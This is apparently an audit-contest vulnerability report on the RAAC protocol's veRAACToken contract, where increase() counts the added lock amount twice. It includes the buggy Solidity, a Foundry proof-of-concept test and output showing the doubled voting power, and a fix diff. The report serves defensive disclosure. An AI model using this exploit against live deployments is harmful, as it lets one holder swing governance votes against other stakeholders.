Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

veRAACToken increase function gives double voting power and slow decay rate by default. Vulnerability severely disrupts the Governanace quorum, and voting mechanism.

Summary

In the veRAACToken contract, there is a function named veRAACToken::increase that enables users to increase the amount of their locked RAAC tokens. When a user calls this function, it issues a proportional amount of veRaacTokens corresponding to the additional RAAC tokens being locked. This mechanism is designed to provide users with increased flexibility, allowing them to enhance their voting power for proposal voting. The issuance of veRaacTokens is calculated using a predefined formula intended to maintain balance and fairness within the protocol.

However, a critical bug has been discovered in the veRAACToken::increase function. Instead of issuing the correct proportion of veRaacTokens, the bug results in the doubling of the token amount relative to the RAAC tokens locked. This means that users receive twice the intended number of veRaacTokens when they increase their locked RAAC token amount. Additionally, this bug slows down the decay rate of the veRaacToken, creating a more gradual reduction in voting power over time. The combined effect is an unintended flexibility in the voting power decay slope, which significantly deviates from the protocol's original design.

The presence of this vulnerability has far-reaching implications for the governance of the protocol. By inadvertently granting users excessive voting power, the bug undermines the integrity of the governance system. Malicious users could exploit this flaw to cast disproportionately influential votes, thereby swaying proposals either in their favor or against proposals that would otherwise benefit the broader community. Such manipulation distorts quorum calculations and compromises the fairness of the decision-making process. Ultimately, this vulnerability erodes trust in the protocol, as it enables scenarios where governance outcomes do not accurately reflect the intended distribution of voting power among users.

Vulnerability Details

veRAACToken::increase:

function increase(uint256 amount) external nonReentrant whenNotPaused {
@> _lockState.increaseLock(msg.sender, amount);
_updateBoostState(msg.sender, locks[msg.sender].amount);
// Update voting power
@> LockManager.Lock memory userLock = _lockState.locks[msg.sender];
// @info: userLock.amount has already increased with amount
// @danger: users will receive double veRaacTokens and less decay rate (more flexible slope)
(int128 newBias, int128 newSlope) =
@> _votingState.calculateAndUpdatePower(msg.sender, userLock.amount + amount, userLock.end);
// Update checkpoints
uint256 newPower = uint256(uint128(newBias));
_checkpointState.writeCheckpoint(msg.sender, newPower);
// Transfer additional tokens and mint veTokens
raacToken.safeTransferFrom(msg.sender, address(this), amount);
_mint(msg.sender, newPower - balanceOf(msg.sender));
emit LockIncreased(msg.sender, amount);
}

When a user wishes to increase their locked token amount, the veRAACToken::increase function is called, and it subsequently invokes the _lockState.increaseLock function, passing the specified amount as an argument.

This internal call to _lockState.increaseLock is integral to the protocol’s lock management system. Within the LockManager, the function updates the user's lock state by incrementing the existing locked amount by the provided value. This update ensures that the internal record accurately reflects the new total of RAAC tokens locked by the user. By increasing the lock state in this manner, the protocol maintains an up-to-date and consistent view of each user's locked token balance.

```LockManager::increaseLock:`

function increaseLock(
LockState storage state,
address user,
uint256 additionalAmount
) internal {
Lock storage lock = state.locks[user];
if (!lock.exists) revert LockNotFound();
if (lock.end <= block.timestamp) revert LockExpired();
// Maximum lock amount
if (lock.amount + additionalAmount > state.maxLockAmount) revert AmountExceedsLimit();
// Maximum total locked amount
// if (state.totalLocked + additionalAmount > state.maxTotalLocked) revert AmountExceedsLimit();
@> lock.amount += additionalAmount;
@> state.totalLocked += additionalAmount;
emit LockIncreased(user, additionalAmount);
}

After updating the lock state, the user's lock struct is retrieved and stored in memory. This is done with the following line:

LockManager.Lock memory userLock = _lockState.locks[msg.sender];

At this point, the contract uses the updated lock data to calculate and update the user's voting power by invoking the _votingState.calculateAndUpdatePower function. However, the parameters passed to this function are incorrect. The RAAC Development Team has provided the parameters as msg.sender, userLock.amount + amount, and userLock.end.

The issue arises with the parameter userLock.amount + amount. Since the user's locked amount has already been updated internally within the _lockState.increaseLock function, adding amount again effectively doubles the actual locked amount. This erroneous calculation is used for determining the user's voting power as well as the slope, or decay rate, of the voting power.

As a result, the user's voting power is erroneously doubled, and the decay rate becomes slower than intended. This miscalculation undermines the integrity of the protocol’s voting mechanism by providing users with inflated influence, which may lead to significant governance imbalances.

The protocol determines a user's voting power and decay slope using two specific formulas.

Voting Power Formula:

// formula for calculating voting power
// where,
// amount: the amount of RAAC tokens provided by the user
// duration: the lock duration (in seconds)
// minimum lock duration is 365 days (1 year)
// maximum lock duration is 1460 days (4 years)
uint256 initialPower = (amount * duration) / MAX_LOCK_DURATION; // Normalize by max duration

In this formula, the product of the amount and the duration is divided by MAX_LOCK_DURATION, ensuring that a user who locks tokens for the maximum duration receives the highest possible voting power, while shorter lock durations yield proportionally less voting power.

Slope (Decay Rate) Formula:

The decay slope, which represents how quickly the voting power diminishes over time, is calculated by taking the ratio of the initial power to the duration. The slope is stored as an int128 value and is defined as follows:

// initialPower: the calculated initial voting power
uint128 slope = int128(int256(initialPower / duration)); // Power per second decay

This formula indicates that the voting power decays linearly over the duration of the lock. The decay rate, or slope, is essentially the voting power lost per second, so a lower slope means that the voting power diminishes more slowly over time.

According to these formulas, if the voting power is mistakenly doubled due to an error in parameter passing (as discussed in previous sections), the initial power will be significantly inflated. Consequently, because the slope is directly derived from the inflated initial power, the decay rate will also be slower than intended. This means that not only does the user receive a higher voting power than they should, but the voting power will also decay at a reduced rate, further exacerbating the imbalance.

Such a miscalculation can undermine the governance mechanism by granting users disproportionate influence over protocol decisions, potentially skewing outcomes and destabilizing the intended distribution of power within the system.

Proof of Concept

To demonstrate this vulnerability, the following Proof of Concept (PoC) is provided. The PoC is written using the Foundry tool.

  1. Step 1: Create a Foundry project and place all the contracts in the src directory.

  2. Step 2: Create a test directory and a mocks folder within the src directory (or use an existing mocks folder).

  3. Step 3: Create all necessary mock contracts, if required.

  4. Step 4: Create a test file (with any name) in the test directory.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {Test, console} from "forge-std/Test.sol";
import {veRAACToken} from "../src/core/tokens/veRAACToken.sol";
import {RAACToken} from "../src/core/tokens/RAACToken.sol";
import {TimeWeightedAverage} from "../src/libraries/math/TimeWeightedAverage.sol";
import {LockManager} from "../src/libraries/governance/LockManager.sol";
import {IveRAACToken} from "../src/interfaces/core/tokens/IveRAACToken.sol";
contract VeRAACTokenTest is Test {
veRAACToken veRaacToken;
RAACToken raacToken;
address RAAC_OWNER = makeAddr("RAAC_OWNER");
address RAAC_MINTER = makeAddr("RAAC_MINTER");
uint256 initialRaacSwapTaxRateInBps = 200; // 2%, 10000 - 100%
uint256 initialRaacBurnTaxRateInBps = 150; // 1.5%, 10000 - 100%
address VE_RAAC_OWNER = makeAddr("VE_RAAC_OWNER");
address ALICE = makeAddr("ALICE");
address BOB = makeAddr("BOB");
address CHARLIE = makeAddr("CHARLIE");
address DEVIL = makeAddr("DEVIL");
function setUp() public {
raacToken = new RAACToken(RAAC_OWNER, initialRaacSwapTaxRateInBps, initialRaacBurnTaxRateInBps);
vm.startPrank(VE_RAAC_OWNER);
veRaacToken = new veRAACToken(address(raacToken));
vm.stopPrank();
}
}
  1. Step 5: Add the following test PoC in the test file, after the setUp function.

function testUsersReceivesDoubleVotingPowerAndLessDecayRateOnIncreaseLockBalanceByDefault() public {
uint256 LOCK_AMOUNT = 10_000_000e18;
uint256 LOCK_DURATION = 1460 days;
vm.startPrank(RAAC_OWNER);
raacToken.setMinter(RAAC_MINTER);
vm.stopPrank();
// we modified (mutated) some private state variables to public
console.log("total supply max : ", veRaacToken.MAX_TOTAL_SUPPLY());
console.log("total supply : ", veRaacToken.getTotalVotingPower());
vm.startPrank(RAAC_MINTER);
raacToken.mint(ALICE, LOCK_AMOUNT);
vm.stopPrank();
console.log("alice raac token balance : ", raacToken.balanceOf(ALICE));
// alice locked her raac tokens to veRAACToken contract and
// gets some voting power as a receipt of veRaacTokens.
vm.startPrank(ALICE);
raacToken.approve(address(veRaacToken), LOCK_AMOUNT);
veRaacToken.lock(1e18, LOCK_DURATION);
// alice knows there's a bug so she puts remaining 9.99M raacTokens
// to get the double veRaac Tokens
veRaacToken.increase(LOCK_AMOUNT - 1e18);
vm.stopPrank();
console.log("\nafter alice locked her raac tokens...");
console.log("total supply max : ", veRaacToken.MAX_TOTAL_SUPPLY());
console.log("total supply : ", veRaacToken.getTotalVotingPower());
console.log("alice veRaac balance : ", veRaacToken.balanceOf(ALICE));
console.log("alice Raac balance : ", raacToken.balanceOf(ALICE));
uint256 aliceCurrentVotingPower = veRaacToken.getVotingPower(ALICE);
console.log("alice current Voting Power : ", aliceCurrentVotingPower);
uint256 aliceExpectedCurrentVotingPower = veRaacToken.calculateVeAmount(LOCK_AMOUNT, LOCK_DURATION);
console.log("expected alice current Voting Power: ", aliceExpectedCurrentVotingPower);
assertNotEq(aliceExpectedCurrentVotingPower, aliceCurrentVotingPower);
}
  1. Step 6: To run the test, execute the following commands in your terminal:

forge test --mt testUsersReceivesDoubleVotingPowerAndLessDecayRateOnIncreaseLockBalanceByDefault -vv
  1. Step 7: Review the output. The expected output should indicate that users get double voting power and slower decay rate (slope) if they calls veRAACToken::increase function.

[⠒] Compiling...
No files changed, compilation skipped
Ran 1 test for test/VeRAACTokenTest.t.sol:VeRAACTokenTest
[PASS] testUsersReceivesDoubleVotingPowerAndLessDecayRateOnIncreaseLockBalanceByDefault() (gas: 702709)
Logs:
total supply max : 100000000000000000000000000
total supply : 0
alice raac token balance : 10000000000000000000000000
after alice locked her raac tokens...
total supply max : 100000000000000000000000000
total supply : 19999999000000000000000000
alice veRaac balance : 19999999000000000000000000
alice Raac balance : 0
alice current Voting Power : 19999999000000000000000000
expected alice current Voting Power: 10000000000000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.32ms (650.90µs CPU time)
Ran 1 test suite in 12.45ms (4.32ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

As demonstrated, the test confirms that the veRAACToken::increase in buggy and doubles the users voting power and slows down their voting power decay rate (flexible slope).

Impact

  • Inflated Voting Power:
    The miscalculation doubles the user's initial voting power by erroneously adding the additional amount twice. This inflated voting power gives users an unfair and disproportionate influence over governance decisions, potentially allowing a single user or group of users to sway proposals beyond their intended stake.

  • Slower Voting Power Decay:
    Since the decay slope is directly derived from the initial voting power, the error also results in a slower decay rate. As a consequence, the inflated voting power persists longer than intended, further amplifying its impact over time and undermining the intended temporal balance of influence.

  • Distorted Governance Dynamics:
    The combination of exaggerated voting power and a reduced decay rate distorts critical governance parameters such as quorum and voting thresholds. This imbalance may lead to skewed proposal outcomes, affecting the overall fairness and effectiveness of the decision-making process within the protocol.

  • Increased Risk of Exploitation:
    Malicious users could deliberately exploit this vulnerability to manipulate voting outcomes. By artificially boosting their voting power, they can force proposals to pass or fail contrary to the collective interest, thereby compromising the democratic integrity of the governance system.

  • Erosion of Stakeholder Trust:
    The inconsistency between the intended and actual behavior of the voting power mechanism undermines confidence in the protocol. Stakeholders may lose trust in the governance process, leading to decreased participation and potentially harming the protocol's reputation and long-term viability.

Tools Used

  • Manual Review

  • Foundry

  • Console Log (foundry)

Recommendations

Mitigating this vulnerability is straightforward. The extra addition of the amount—which duplicates the already updated locked amount—should be removed. One possible solution is as follows:

veRAACToken::increase:

function increase(uint256 amount) external nonReentrant whenNotPaused {
_lockState.increaseLock(msg.sender, amount);
_updateBoostState(msg.sender, locks[msg.sender].amount);
// Update voting power
LockManager.Lock memory userLock = _lockState.locks[msg.sender];
// @info: userLock.amount has already increased with amount
// @danger: users will receive double veRaacTokens and less decay rate (more flexible slope)
- (int128 newBias, int128 newSlope) =
- _votingState.calculateAndUpdatePower(msg.sender, userLock.amount + amount, userLock.end);
+ (int128 newBias, int128 newSlope) =
+ _votingState.calculateAndUpdatePower(msg.sender, userLock.amount, userLock.end);
// Update checkpoints
uint256 newPower = uint256(uint128(newBias));
_checkpointState.writeCheckpoint(msg.sender, newPower);
// Transfer additional tokens and mint veTokens
raacToken.safeTransferFrom(msg.sender, address(this), amount);
_mint(msg.sender, newPower - balanceOf(msg.sender));
emit LockIncreased(msg.sender, amount);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

veRAACToken::increase doubles the voting power of users

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.